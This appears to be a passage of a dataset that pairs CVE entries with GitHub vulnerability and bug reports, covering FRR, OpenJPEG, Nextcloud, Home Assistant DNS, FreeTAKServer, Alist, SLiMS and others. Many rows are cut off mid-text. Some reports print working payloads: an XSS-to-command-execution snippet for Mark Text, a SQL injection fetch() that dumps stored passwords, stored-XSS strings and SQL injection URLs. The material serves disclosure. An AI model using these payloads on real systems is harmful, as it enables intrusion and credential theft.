There are a few issues in the loop above leading to overflow vulnerabilities. The loop condition is `subtlv_len > 2` and `subtlv_len` is updated at the end of the loop (Line 3113: `subtlv_len = subtlv_len - length - 2`).
**The Issue on Loop Condition**: at Line 3113, when we update `subtlv_len`, if `subtlv_len < length + 2`, integer overflow will happen, leading to heap overflows in the next loop iteration. Note that `subtlv_len` and `length` are of `uint8_t`, which makes it easy to overflow, e.g., `subtlv_len=35`, `length=38`... An example output of the address sanitizer can be found below:

**Other Issues**: at Line 3016, Line 3021, Line 3062, Line 3067, and Line 3098, I think we need to use `break` instead of `continue`. Using `continue` will let us miss the update of the loop condition variable at Line 3113.
Please check if my understanding of the code above is correct. If so, I can make a pull request to fix these issues then. | isisd: overflow bugs in unpack_tlv_router_cap | https://api.github.com/repos/FRRouting/frr/issues/10507/comments | 21 | 2022-02-06T03:32:58Z | 2022-03-29T11:10:30Z | https://github.com/FRRouting/frr/issues/10507 | 1,125,093,957 | 10,507 | 3,280 |

] | At Line 470 in the code below, we call `yang_data_new`, which will further call `strdup(raw_pdu)`. However, `raw_pdu` is not guaranteed to be a zero-terminated string and, thus, will lead to a stack overflow in `strdup`. When I set `raw_pdu[raw_pdu_len - 1]` to `\0`, then the bug disappears. Note that `strdup` should be used with a C-string.
In the same file, `isis_nb_notifications.c`, there are **8 places** where `yang_data_new` are used with `raw_pdu` and, thus, may have the overflow bug. Please check and suggest a fix. I can give a pull request then.

CVE-2022-24725 | 2022-03-03T22:15:08.950 | Shescape is a shell escape package for JavaScript. An issue in versions 1.4.0 to 1.5.1 allows for exposure of the home directory on Unix systems when using Bash with the `escape` or `escapeAll` functions from the _shescape_ API with the `interpolation` option set to `true`. Other tested shells, Dash and Zsh, are not affected. Depending on how the output of _shescape_ is used, directory traversal may be possible in the application using _shescape_. The issue was patched in version 1.5.1. As a workaround, manually escape all instances of the tilde character (`~`) using `arg.replace(/~/g, "\\~")`. | {

] | # Bug Report
- **Shescape version**: `v1.5.0`
- **Operating system**: Unix (Ubuntu 20.04)
- **Shell**: Bash
## Description
If the string `=~` appears at the end of an argument in Bash (without quoting the argument) the tilde (`~`) will be expanded to the home directory. Similarly, when `xxx:~`, `~:xxx` or `xxx:~:xxx` appears after `=` (where `xxx` can be _any_ string), the tilde (`~`) will be expanded, this even works for multiple tildes.
### Actual Behaviour
When running `shescape.escape(All)` with interpolation escaping enabled the trailing `~` is not escaped and therefore expanded when the argument is used.
### Expected Behaviour
When running `shescape.escape(All)` with interpolation escaping enabled the trailing `~` should be escaped to avoid it being expanded when the argument is used.

] | Hi,
I found a vulnerability in current master [0bda718](https://github.com/uclouvain/openjpeg/commit/0bda7188b7b545232a341f1d978b1e4feda46fc2), and I also reproduced it on latest released version [v2.4.0](https://github.com/uclouvain/openjpeg/releases/tag/v2.4.0).
**Crash Summary**
A heap-buffer-overflow in color.c:379:42 in sycc420_to_rgb, it can lead to heap-based buffer overflow via a crafted `.j2k` file when decompress it.
**Crash Analysis**
There is insufficient validation of `*cb`.
https://github.com/uclouvain/openjpeg/blob/0bda7188b7b545232a341f1d978b1e4feda46fc2/src/bin/common/color.c#L375-L381
**PoC:**
[poc.j2k.gz](https://github.com/uclouvain/openjpeg/files/6402272/poc.j2k.gz)
**To reproduce (x86-64 Ubuntu 20.04.2 with gcc 9.3.0):**
```bash
CFLAGS='-g -fsanitize=address' cmake .. -DCMAKE_BUILD_TYPE=Release
make
./bin/opj_decompress -i ./poc.j2k -o out.png
```
**ASAN report:**
```

### Description
An attacker can induce Mark Text users to copy the HTML code below to execute a Remote Code Execution attack via XSS.
```html
<!-- for windows -->
<table><tr><img src onerror="require('child_process').exec('calc.exe')"></tr></table>
<!-- for linux (tested with kali) -->
<table><tr><img src onerror="require('child_process').exec('xdg-open .')"></tr></table>
```
The above code is inserted into the Mark Text as a DOM through the source code below, and the remote code execution is performed by calling child_process through the inline script.

CVE-2021-41239 | 2022-03-08T18:15:07.873 | Nextcloud server is a self hosted system designed to provide cloud style services. In affected versions the User Status API did not consider the user enumeration settings by the administrator. This allowed a user to enumerate other users on the instance, even when user listings where disabled. It is recommended that the Nextcloud Server is upgraded to 20.0.14, 21.0.6 or 22.2.1. There are no known workarounds. | {

] | There should be an option to globally disable the "Last statuses" widget. It leaks account names, which might be the desired behaviour, but might as well be not.
On "semi-public" Nextcloud instances you usually don't want to expose other users to each other, which is also why e.g. `shareapi_allow_share_dialog_user_enumeration` can be disabled.
Currently it's only possible to disable user_status altogether. It would be nice if there was the option to keep user_status enabled but disable the "Last statuses" widget. | user_status "last statuses" widget leaks account names | https://api.github.com/repos/nextcloud/server/issues/27122/comments | 2 | 2021-05-26T16:08:07Z | 2021-10-20T10:27:56Z | https://github.com/nextcloud/server/issues/27122 | 902,616,998 | 27,122 | 3,298 |
CVE-2021-41241 | 2022-03-08T19:15:07.927 | Nextcloud server is a self hosted system designed to provide cloud style services. The groupfolders application for Nextcloud allows sharing a folder with a group of people. In addition, it allows setting "advanced permissions" on subfolders, for example, a user could be granted access to the groupfolder but not specific subfolders. Due to a lacking permission check in affected versions, a user could still access these subfolders by copying the groupfolder to another location. It is recommended that the Nextcloud Server is upgraded to 20.0.14, 21.0.6 or 22.2.1. Users unable to upgrade should disable the "groupfolders" application in the admin settings. | {

Employee list / NC users:
MA1 site manager
MA2 accountant
MA3 project employee Lisa
MA4 project employee Hans
NC folder structure (group folder):
Group folder company location Berlin
...├── Administration
..........├── accounting
...├── projects
..........├── Project A
..........├── Project B
The following should be set via “Advanced Permissions”:
Write and read rights to all folders should have: MA1 site manager
Write and read rights to accounting folders should have: only MA2 accountant
Write and read rights to project folder A should have: only MA3 project employee Lisa
Write and read rights to project folder B should have: only MA4 project employee Hans
All of this is easy to set using the “Advanced Permissions” in the “Groupfolder”.
However…
For the root folder “Group folder company location Berlin”, all NC-users must have at least reading rights, otherwise you won’t see a folder at all…
“MA4 Projektmitarbeiter Hans” does not initially see the “Administration-Accounting” folder.
However, if he copies the complete root directory “Group folder company location Berlin” and inserts it into another of his own folders, all directories and their contents are visible to him.
Can this copying of the “invisible” folder or in general be prevented somehow?
How would you solve this problem?
Thank’s for the Tipps.

] | I've noticed that when I power cycle my machine running HassOS, that local DNS resolution doesn't work at all. Nearly all of my ESP8266 devices rely upon local DNS resolution so most devices stop working. The local DNS is set via DHCP. I don't set any upstream DNS, everything is supposed to be forwarded through my local DNS.
I've found that I can get it resolved by running `ha dns restart` at which point my local DNS server starts getting used.
```
# ping lgwebostv.localdomain
ping: bad address 'lgwebostv.localdomain`
# ha dns restart
Processing... Done.
# ping lgwebostv.localdomain
PING lgwebostv.localdomain (192.168.20.62): 56 data bytes
```
I've got Hassio supervisor 2020.12.6 on stable channel (HassOS 4.17; deployment production).

] | In home assistant, if I use hostnames in configuration.yaml they fail to resolve (eg using platform snmp ). Using the corresponding IP addresses works, but is far from ideal and means I have to use fixed IP addresses and configuration becomes less unreadable and requires more maintenance.
Trying to work out what is the root issue is, has led me to hassio-dns seemingly not working as I would expect. The homeassistant docker container appears to be using 172.30.32.3 for dns which is the hassio-dns container. From within the homeassistant container this local hostname fails to resolve:
dig pdu3.netality.co.uk
and I can see from the dig output it is going out to the Internet to do the DNS lookup.
But
dig pdu3.netality.co.uk @192.168.66.1
from home assistant does work (not surprisingly).
The strange thing is from within the hassio-dns container, fully qualified and unqualified local hostname lookups do work:
dig pdu3.netality.co.uk
dig pdu3
But
dig pdu3.netality.co.uk @172.30.32.3
does not work (unsurprisingly).
What I would expect is that fully qualified and unqualified hostnames should resolve as I have set the search domain to netality.co.uk and dns server to 192.168.66.1 in HassOS.
I don't think this has ever worked with hassio-dns.

] | Since dns upgrade to 2021.06.0, my complete hassio setup is having performance issues.
I am running haos on Raspberry Pi 1B. It's an old pi, but before dns 2021.06.0 everything was running without issues and I had no reason to upgrade hardware.
Since dns upgrade, coredns will eventually get stuck at more than 60% CPU usage constantly and everything else slows down to the level that it's unusable.
Even 'ha dns restart' is failing with time out.
It's happening also with clean image install without configuring any integrations.
When I downgrade to dns 2021.04.0 using 'ha dns update --version 2021.04.0', CPU usage is back to normal and whole system is responsive.
Downgrading dns is not permanent fix as it gets automatically updated back to last version and CPU load increases again.
**Is there an option to permanently downgrade to dns 2021.04.0 or disable DoT completely (if TLS is causing too much load on rpi1)?**
**dns logs using 2021.06.01:**

] | Ha is configured with a local dns resolver, while all other means of resolving are blocked on our home automation subnet.
When (re)started, HA dns runs perfectly fine, and can resolve all queries through the assigned server.
```
ha dns info
host: 172.30.32.3
locals:
- dns://192.168.111.1
servers:
- dns://192.168.111.1
update_available: false
version: 2021.06.0
version_latest: 2021.06.0
~ $ ping google.be
PING google.be (142.251.36.35): 56 data bytes
```
After a few hours, the resolver just stops resolving through the programmed server. and switches to dot 1.0.0.1/1.1.1.1:853 for all dns requests, which are all refused by the router ofcourse. Somehow HA jforgot, that 192.168.1111.1 is its assigned dns server.

```
**Description of problem:**
**_TLDR : After some time (X hours) , HA stops using the user-defined DNS server, thus no longer being able to resolve hosts on the LAN._**
HA is configured to use a local DNS server :
```
➜ ~ ha dns info
host: 172.30.32.3
locals:
- dns://192.168.11.2
servers:
- dns://192.168.11.2
version: "9"
version_latest: "9"
➜ ~
```
Trying to resolve a local host fails :
```
➜ ~ nslookup influx.local
Server: 172.30.32.3
Address: 172.30.32.3#53
** server can't find influx.local: NXDOMAIN
```
On the DNS server side, the logs show no request arriving for that lookup.
_Forcing_ the lookup to use the specific DNS server works :
```
➜ ~ nslookup influx.local 192.168.11.2
Server: 192.168.11.2
Address: 192.168.11.2#53
Name: influx.local
Address: 192.168.11.134
```
And in this case, the DNS logging indeed confirms name resolution :
```
Oct 9 08:21:20 dnsmasq[344]: query[A] influx.local from 192.168.11.5
Oct 9 08:21:20 dnsmasq[344]: query[AAAA] influx.local from 192.168.11.5
```
### Doing the same on the HassOS host works without ant kind of issue :
```
# nslookup influx.local
Server: 192.168.11.2
Address: 192.168.11.2:53
Name: influx.local
Address: 192.168.11.134
Non-authoritative answer:
#
```
### Additional info :
- Doing a `ha dns restart` solves the issue, for a while (X hours), but it always returns to being broken.
- I migrated to HassOS a month or 2 ago, previously been running Hassio for a few years.
- In a Hassio setup, this issue _never_ happened.
- HassOS based setup has had this from my first install.
- Pleading for help on Discord yielded very little response, no useful response at all.
- Others are having the same issue, and are also being ignored : https://community.home-assistant.io/t/local-dns/178108

] | CoreDNS is configured to healthcheck the Cloudflare fallback every 5 minutes, however in practice, a check is performed once a minute (and retries are generated when it fails).
The `fallback` directive also causes healthchecks at startup, which can create substantial query rates.
This is also why users have reported seeing small packet storms when Cloudflare is not reachable (by @lialosiu [here](https://github.com/home-assistant/plugin-dns/issues/20#issuecomment-917354758) and @tescophil [here](https://github.com/home-assistant/plugin-dns/pull/56#issuecomment-928967969)).
The intended behaviour appears to be to check once every 5 minutes
```
forward . tls://1.1.1.1 tls://1.0.0.1 {
tls_servername cloudflare-dns.com
except local.hass.io
health_check 5m
}
```
However, that is not the only check being performed, because the encompassing server block is referenced elsewhere
```
forward . {{ join " " .servers }} {{ if len .locals | eq 0 }}dns://127.0.0.11{{ else }}{{ join " " .locals }}{{ end }} dns://127.0.0.1:5553 {
except local.hass.io
policy sequential
health_check 1m
}
```
A check will be run once a minute against `127.0.0.1:5553` as well as the locals (if present) - from further testing it _appears_ those will only begin once you've had an initial failure which leads `coredns` to move onto the next forward host.
We can see this is the case by enabling coredns' prometheus endpoints and pointing telegraf at them
That's failures per minute - each failure represents a single query (where healthchecks are concerned for `example.org`) sent to `127.0.0.1:5553`.
However, to `127.0.0.1:5553` (and any other upstream for that matter) it's just another query, so when it's query to it's upstream (one of `1.1.1.1` or `1.0.0.1`) fails, it retries and we end up with new packets hitting the wire, one after the other.
<del>
In terms of the fix, it's not clear *why* the fallback behaviour is implemented/hardcoded in the first place (I couldn't find any architecture discussions on it in that repo, perhaps I missed them), but the correct way to have implemented this would be one of the following options
Option 1: not include `127.0.0.1:5553` in the forwards statement at all (as it's handled by the fallback).
```
forward . {{ join " " .servers }} {{ if len .locals | eq 0 }}dns://127.0.0.11{{ else }}{{ join " " .locals }}{{ end }} {
except local.hass.io
policy sequential
health_check 1m
}
fallback REFUSED,SERVFAIL,NXDOMAIN . dns://127.0.0.1:5553
```
(It'd need some logic to handle empty locals)
Option 2: Not use a separate server block
```
forward . {{ join " " .servers }} {{ if len .locals | eq 0 }}dns://127.0.0.11{{ else }}{{ join " " .locals }}{{ end }} tls://1.1.1.1 tls://1.0.0.1 {
except local.hass.io
policy sequential
health_check 1m
tls_servername cloudflare-dns.com
}
fallback REFUSED,SERVFAIL,NXDOMAIN . dns://127.0.0.1:5553
```
(perhaps there some other reason an entire separate server block was stood up, but I don't see any reference to it).
- You could also add some config to handle `example.org` locally (so the healthcheck against `:5553` isn't passed upstream), but that's more horrid than the current setup.
- Turning off healthchecks against the locals is likely to be undesirable due to then having to wait for `coredns`'s timeouts if a local does go down, so I've not included that
The reason this isn't a PR is because it's blocked by a decision on approach.
</del>
Correction: The much bigger issue is actually the `fallback` statement, see https://github.com/home-assistant/plugin-dns/issues/64#issuecomment-963524772
### Additional Observations
Whilst capturing telemetry there were a few things I noticed which might help inform a decision on the above
When in use, the Cloudflare fallback introduces a significant level of latency:
At the network level, Cloudflare is only 10-15ms away, but the average query duration for CF upstreams is half a second. The presumption is that's due to DoT overheads, but unfortunately `coredns` doesn't currently expose metrics that can help verify this.
I'd posit therefore that as well as fixing the healthcheck issue
- The choice to have cloudflare enabled/disabled should be available to the user
- If mandatory, the choice to use DoT should be open to the user
But, realistically, if this issue is fixed so that healthchecks aren't amplified onto the network, then users who want to block CF DoT at the perimeter will be able to do so without HA gradually attempting to flood the network.
I like `coredns`, but it does feel rather out of place in an appliance - it's approach to dynamic timeouts isn't really very well tuned to the foibles of domestic connections/networks. | CoreDNS is misconfigured leading to unexpected healthcheck behaviour | https://api.github.com/repos/home-assistant/plugin-dns/issues/64/comments | 11 | 2021-11-06T16:24:00Z | 2022-04-25T16:21:40Z | https://github.com/home-assistant/plugin-dns/issues/64 | 1,046,544,256 | 64 | 3,308 |

Home Assistant OS always gets configured to load-balance between my DNS resolver and Cloudflare's. I already looked under every stone, but there's no way to disable this behavior using configuration options.
So if I use DNS names configured by my router instead of hard-coding IP addresses, HA will switch over to Cloudflare from time to time and leak my internal hostnames to their service. Of course resolution fails in this case, too. Note that this is not caused by the hard-coded fallback option, but by the hard-coded load-balancing option.
One way to avoid this could be blocking 1.1.1.1 and 1.0.0.1 in my firewall, but then HA's DNS resolver goes berserk flooding my firewall logs with multiple connection attempts per second. Also, this will break further whenever developers decide to switch their user base from Cloudflare to a new data collection service.
### What operating system image do you use?
ova (for Virtual Machines)
### What version of Home Assistant Operating System is installed?
7.1
### Did you upgrade the Operating System.
Yes
### Steps to reproduce the issue
1. Insert local hostname in HA config
2. Notice recurring failures in name resolution
3. Notice packets going to 1.0.0.1 and 1.1.1.1
### Anything in the Supervisor logs that might be useful for us?
```txt
-
```
### Anything in the Host logs that might be useful for us?
```txt

In function calculate_beam() in draw.c .
There is out of bounds read in array min_tb at line 357 and 359, the flaw will cause crash.
```
if (s->nhd == 0)
stem_err = min_tb[0][(unsigned) s->nflags];
else
stem_err = min_tb[1][(unsigned) s->nflags];
```
The (unsigned) s->nflags can be checked whether between 0 and 5.
I am not sure what the `stem_err` means so i didn't try to fix it.

Stack buffer over found in parse.c in function get_key().
The root cause maybe is in function c_set_k_acc(), the array `accs` and `pits` size is 8.
If `s->u.key.sf` bigger than 7 , then the array `accs` and `pits` will access out of index and corrupt the stack, if the value of `s->u.key.sf` is more bigger, then the stack frame will be corrupted.
```
static void set_k_acc(struct SYMBOL *s)
{
int i, j, nacc;
char accs[8], pits[8];
...
if (s->u.key.sf > 0) {
for (nacc = 0; nacc < s->u.key.sf; nacc++) {
accs[nacc] = A_SH;
pits[nacc] = sharp_tb[nacc];
}
}
```

> _The remote web server does not set an X-Frame-Options response header or a Content-Security-Policy 'frame-ancestors' response header in all content responses. This could potentially expose the site to a clickjacking or UI redress attack, in which an attacker can trick a user into clicking an area of the vulnerable page that is different than what the user perceives the page to be. This can result in a user performing fraudulent or malicious transactions._
Suggested solution is:
> Return the X-Frame-Options or Content-Security-Policy (with the 'frame-ancestors' directive) HTTP header with the page's response.
Is there a way to do this through the config in cockpit? or is there some other reason it is not subject to clickjacking?

I have found a heap out of bounds read bug in function WavpackPackSamples, base on the commit a0ba858455b7c94f26c8f75511592323a70c3feb, code that caused crash shows below:
source:src/pack_utils.c+632
```
628 if (wps->wphdr.flags & MONO_FLAG) {
629 switch (wpc->config.bytes_per_sample) {
630 case 1:
631 while (cnt--) {
→ 632 *dptr++ = (signed char) *sptr;
633 sptr += nch;
634 }
635
636 break;
```
Variable cnt is too large, that makes pointer sptr read beyond heap bound.

CVE-2022-24726 | 2022-03-10T21:15:14.603 | Istio is an open platform to connect, manage, and secure microservices. In affected versions the Istio control plane, istiod, is vulnerable to a request processing error, allowing a malicious attacker that sends a specially crafted message which results in the control plane crashing when the validating webhook for a cluster is exposed publicly. This endpoint is served over TLS port 15017, but does not require any authentication from the attacker. For simple installations, Istiod is typically only reachable from within the cluster, limiting the blast radius. However, for some deployments, especially [external istiod](https://istio.io/latest/docs/setup/install/external-controlplane/) topologies, this port is exposed over the public internet. This issue has been patched in versions 1.13.2, 1.12.5 and 1.11.8. Users are advised to upgrade. Users unable to upgrade should disable access to a validating webhook that is exposed to the public internet or restrict the set of IP addresses that can query it to a set of known, trusted entities. | {

] | On 64-bit system, a large enough regexp can be deeply nested enough to cause goroutine stack overflows (the kind where the runtime says no more stack for you and exits). Specifically, strings.Repeat("(", 1<<20)+strings.Repeat(")", 1<<20) is enough.
I ran a test inside Google using C++ RE2 limiting the nesting depth of accepted expressions. A max depth of 200 did not break any of our tests. (A max depth of 100 did break one library that was mechanically generating a truly awful regular expression.)
To fix the problem I intend to cap the maximum depth of a regexp accepted by syntax.Parse at 1000, >5X what is needed by Google C++ and really about 100X what is reasonable.
Depth means the depth of the parse tree: `(((((a)))))` has depth 5, as does `a*****` in POSIX mode. (In Perl mode that's a syntax error.)
This will need to be backported to Go 1.16 and Go 1.17 as well. | regexp: stack overflow (process exit) handling deeply nested regexp | https://api.github.com/repos/golang/go/issues/51112/comments | 9 | 2022-02-09T20:13:46Z | 2023-06-22T21:55:10Z | https://github.com/golang/go/issues/51112 | 1,128,977,907 | 51,112 | 3,325 |

] | The API endpoint `/AuthenticateUser` contains a SQL Injection into the SQLite3 Database that is handling the authentication process of the SystemUsers. In order to exploit this vulnerability the attacker need to possess a valid API key, which can either be leaked through the XSS from an End User Device, or given as a part of the UAV Operator ability which broadcasts the GPS and Video feed of a UAV-Drone.
From the SQL Injection it is possible to list all the Username, UsedID and Clear-Text passwords in the database.
##### Proof of Concept
Posting the follwing snippet into a web browsers console will trigger the SQL Injection and return the name and password for each user in the SystemUsers table.
```
fetch("http://atak.FreeTAKServer.com:19023/AuthenticateUser?username=abc\" UNION SELECT (SELECT group_concat(name||':'||password) FROM SystemUser),'b','c','PASSWORD','d','e'--&password=PASSWORD", {

"accept-language": "en-US,en;q=0.9",
"authorization": "Bearer ValidAPIKey",
"content-type": "application/json"
},

});
```
Will return the following response:

] | In the FreeTAKServer-UI there is a function to create and view Emergency Alerts that are originating from either the End User Device or from the UI itself. Both Avenues are susceptible to a Stored Cross Site scripting vulnerability in the Callsign parameter.
##### Web Interface
In the case of a XSS in the WebUI it is as simple as having a callsign with the payload of `<img src onerror=alert(/payload/)>` which will trigger the Emergency function and display the emergency in the WebUI.
##### End User Device
What's more interesting of a scenario is that it is possible to push Emergencies from any of the EUDs, these can range from a 911, TIC (Troops in Contact) or similar.
This can be chained together with the API keys leakage in the response in order to obtain a server RestAPI key for further exploitation, which can take a normal user in the field to a Web Server admin

While this might not seem interesting at first, it is possible to broadcast new routes (suggested tracks to take) to every End User Device (EUD) connected to the server. This can create two issues, either create a Denial of Service situation where a malicious user can fill the entire map with routes, making it impossible to use the map in the EUD. The second scenario might be to create a route on which possible users might take and therefor control some of the paths and direct users into bad situations.

This gives a malicious user the ability to sign their own cookies (using for example: [Flask-Unsign](https://github.com/Paradoxis/Flask-Unsign)), and internally change the UID of the current user and assume any other user, for example UID 1 which is the Admin. (Privilege Escalation)
Another interessting issue that you run into aswell is that having two Flask servers with the same _secret key_ makes it possible for a user to reuse a UID 1 cookie from Server A, and apply that cookie to Server B logging in to the same UID 1.

Swagger-UI configuration options:
```js
SwaggerUI({
enableQueryConfig: false // new
})
```
### Is your feature request related to a problem?
<!--
Please provide a clear and concise description of what the problem is.
"I'm always frustrated when..."
-->
We’ve observed that the ?url= parameter in SwaggerUI allows an attacker to override an otherwise hard-coded schema file. This opens the door to issues such as https://github.com/swagger-api/swagger-ui/issues/3847 and https://github.com/swagger-api/swagger-ui/pull/4789 which would otherwise be prevented by hard-coding the schema file URL.
The behavior appears to be a regression in the 3.x releases. It can easily be reproduced by passing in a URL to the SwaggerUIBundle constructor and then using the ?url parameter to override it, while observing the behavior in the Net panel of your browser’s developer tools. Note that CORS rules can prevent a test from succeeding, but do not prevent a real attack.
const ui = SwaggerUIBundle({
...
url: 'some-hard-coded-path.yml'
});
Additionally, the URL parameter is dangerous in general because it allows an attacker to provide a similar schema file that instead sends authorization requests to a server under an attacker’s control, which makes it much easier to trick a user into leaking their login credentials. So the URL parameter should not be allowed in any setting where authentication or other sensitive information is used. I’d recommend disabling it by default and cautioning users against enabling it.
### Describe the solution you'd like
<!-- A clear and concise description of what you want to happen. -->
for 3.x: Add an enableQueryParam or similar option. ~If omitted,~ default to false ~if a URL is passed into the constructor, otherwise default true.~
for 4.x: Change the default ~when omitted~ to false.
### Describe alternatives you've considered
<!--
A clear and concise description of any alternative solutions or features
you've considered.
-->
Our workaround was to detect the URL parameter before initializing SwaggerUI and failing early if it was set.
### Additional context
This is taken from a security report given to the Swagger team by Ken Winters, based on investigation done by Gaurav Shet and Ben Zulanch - all over at NetApp.
The decision was made to put this in the public issue tracker because (a) we aren't going to immediately fix this, and (b) the attack surface for this is significantly diminished by our effective sanitization efforts to deter XSS attacks in documents used as input. | add an `enableQueryConfig` option | https://api.github.com/repos/swagger-api/swagger-ui/issues/4872/comments | 5 | 2018-09-13T03:02:46Z | 2022-01-28T15:11:15Z | https://github.com/swagger-api/swagger-ui/issues/4872 | 359,724,685 | 4,872 | 3,331 |

-----
Current implementation `UntypedObjectDeserializer` is relatively expensive for deeply nested Object and Array values as it uses recursion even for "vanilla" case (one where there are no custom `List`/array or `Map` deserializers).
In practical terms it is possible to exhaust typical modest JVM memory with documents having about ten thousand levels of nestings, due to size of call stack from recursive calls.
*NOTE*: specifically this ONLY APPLIES if the target type is "untyped" or generic `Collection<Object>` / `Map<String, Object>` -- it DOES NOT APPLY to cases where target is POJO (except if POJO itself has "untyped" property or properties).
Similar issue was already solved wrt `JsonNode` (see #3397), included in 2.13.0; this might show a way to approach this problem: by replacing simple recursion with iteration, either completely or at some inner levels.
Also note that it may ultimately be necessary to have lower-level constraints for streaming parser too, see: https://github.com/FasterXML/jackson-core/issues/637
Ideally it should be:
1. Possible to handle at least tens of thousands of levels of nesting (100k should be processable with 256M heap, say)
2. Have streaming level limits that -- by default -- block documents with more than limit we deem safe (less than 100k -- perhaps 10k or something, to be determined).
This issue is specifically about (1) as (2) is about `jackson-core`.

v2.0.10-v2.1.0
### Describe the bug / 问题描述
## Vulnerability Introduction
A route in Alist that uses user-inputted parameters when displaying xml files and does not filter them can cause xss.
Vulnerability affects version: v2.0.10-v2.1.0
## Vulnerability Analysis
A new route was added in Alist v2.0.10: `/i/:data/ipa.plist`, which allows users to control the data parameter in path.
Simplified code:
```go
func Plist(c *gin.Context) {
data := c.Param("data")
data = strings.ReplaceAll(data, "_", "/")
data = strings.ReplaceAll(data, "-", "=")
bytes, err := base64.StdEncoding.DecodeString(data)
if err != nil {
common.ErrorResp(c, err, 500)
return
}
u := string(bytes)
plist := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
...
<string>%s</string>
...
<string>ci.nn.%s</string>
...
<string>%s</string>
...
`, u, name, name)
c.Header("Content-Type", "application/xml;charset=utf-8")
c.Status(200)
_, _ = c.Writer.WriteString(plist)
```
The incoming data is decoded by replacing (recovering the original base64 encoded url conflict characters), and then the parameter `u` is directly spliced and output to the page, so we can use this to construct the xss payload.
```
<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>
```
The paylod is base64 encoded as follows:
```
PGE6c2NyaXB0IHhtbG5zOmE9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPmFsZXJ0KDEpPC9hOnNjcmlwdD4=
```
Replace `=` with `-`, then splice in the path:
```
http(https)://<host:port>/i/PGE6c2NyaXB0IHhtbG5zOmE9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPmFsZXJ0KDEpPC9hOnNjcmlwdD4-/ipa.plist
```

CVE-2022-24721 | 2022-03-15T14:15:08.247 | CometD is a scalable comet implementation for web messaging. In any version prior to 5.0.11, 6.0.6, and 7.0.6, internal usage of Oort and Seti channels is improperly authorized, so any remote user could subscribe and publish to those channels. By subscribing to those channels, a remote user may be able to watch cluster-internal traffic that contains other users' (possibly sensitive) data. By publishing to those channels, a remote user may be able to create/modify/delete other user's data and modify the cluster structure. A fix is available in versions 5.0.11, 6.0.6, and 7.0.6. As a workaround, install a custom `SecurityPolicy` that forbids subscription and publishing to remote, non-Oort, sessions on Oort and Seti channels. | {

**EOS:** 2.1.0
**Ubuntu:** 20.04
**Compiler:** llvm-7 clang-7 clang++-7 llvm-cov-7
----
I want to use `txn_test_gen_plugin` to generate transactions, and the process is following the guidance: https://github.com/EOSIO/eos/blob/develop/plugins/txn_test_gen_plugin/README.md
I have started the producer node (`eosio`) and non-producer node (`bp.a`), and deployed the bios contract.
```
$ cleos set contract eosio /root/eos-2.1.0/eos/build/contracts/contracts/eosio.bios/ eosio.bios.wasm eosio.bios.abi
```
Then, when I use the command to initialize the accounts txn_test_gen_plugin uses, **heap-buffer-overflow** happens:
```
$ curl --data-binary '["eosio", "5KQwrPbwdL6PhXujxW37FSSQZ1JiwsST4cqQzDeyXtP79zkvFD3"]' http://127.0.0.1:8888/v1/txn_test_gen/create_test_accounts
```

Hello, I found some serious bugs in Slims8 Akasia 8.3.1 (latest version).
First of all, there is a SQL injection bug. This injection exists in multiple files, and the file where the search keyword $_GET['dir'] is located all has SQL injection.
url:[http://localhost/admin/modules/bibliography/index.php?itemID=17&detail=true&ajaxload=1&datatablefld=ISBN%2FISSN&dir=asc](url)
` // change the record sorting if there fld var in URL
$_fld_sort = $this->table_ID.'fld';
$_dir = 'ASC';
$_next_dir = 'DESC';
$_sort_dir_info = __('ascendingly');
if (isset($_GET[$_fld_sort]) AND !empty($_GET[$_fld_sort])) {
$this->sql_order = 'ORDER BY `'.urldecode($_GET[$_fld_sort]).'` ';
// record order direction
if (isset($_GET['dir']) AND ($_dir = trim($_GET['dir']))) {
if ($_dir == 'DESC') {
$_next_dir = 'ASC';
} else {
$_next_dir = 'DESC';
$_sort_dir_info = __('descendingly');
}
// append sort direction
$this->sql_order .= $_dir;
}
}
`
You have escaped the dir string. But in fact it just appends a backslash \ before', "or \. Reference from PHP mysql_real_escape_string
Therefore, if my GET variable dir does not contain these characters, sql injection will be triggered.
SQL injection demonstration `dir=-test() //When the data table test does not exist, the database name is returned. slims.test`
SQL injection demonstration `dir=-user() //When the data table user exists, it returns to the normal page.`
Example: [http://localhost/admin/modules/bibliography/index.php?itemID=17&detail=true&ajaxload=1&datatablefld=ISBN%2FISSN&dir=-a()](url)
<img width="1178" alt="1" src="https://user-images.githubusercontent.com/18564938/146883462-3c9aa8b1-f197-4598-a8ed-913643b8dc4e.png">

List some pages with SQL injection:
`http://localhost/admin/modules/bibliography/index.php?itemID=17&detail=true&ajaxload=1&datatablefld=ISBN%2FISSN&dir=-test()
http://localhost/admin/modules/membership/member_type.php?ajaxload=1&datatablefld=Loan+Limit&dir=DESC

Storage type xss exists in Custom Field Editor in /admin/modules/system/custom_field.php file. There is no effective defense against the NOTE field, leading to cross-site script attacks.
**To Reproduce**
Steps to reproduce the behavior:
Storage type xss exists in Custom Field Editor in /admin/modules/system/custom_field.php file. There is no effective defense against the NOTE field, leading to cross-site scripting attacks.
Administrator login "system" add new "field> fill in cross-site scripting in the NOTE field `(example:'"><svg/onload=alert(document.domain)>)`
It will take effect after saving.
**Expected behavior**
You can insert js scripts to attack.

#### Set up socket communication
server :
client :
#### Constructing the payload
The ReceiveVarData() method internally first calls the ReceiveFixData() method to read the packet header (8 bytes) of the socket object information, and then calls the GetPacketLength() method to read the length of the bytes in the packet header (int type)
The ReceiveFixData() method will first intercept 8 bytes of information, so 8 bytes must be added before the original payload when constructing the POC.
The GetPacketLength() method reads the packet header information, i.e. the 8 bytes of information needs to contain the byte length (int type) of the original payload, while intercepting the int data type before the ' * ' ending.
Also the Payload source code is converted to a byte array length of 3110 bytes.
A local test of the GetPacketLength() method shows that the 8 bytes of information could be "3110 ****". Int(3110) is the byte length of the original payload.
#### Simulating the transmission of messages to a socket client
POC implementation using a controlled data transfer from the server to the socket client, i.e. a set payload.

If you specify a backslash (%5c) character in the path, then you can follow the path /../ and get data from the root.

I couldn't find a `SECURITY.md` in your repository and am not sure how to best contact you privately to disclose a security issue.
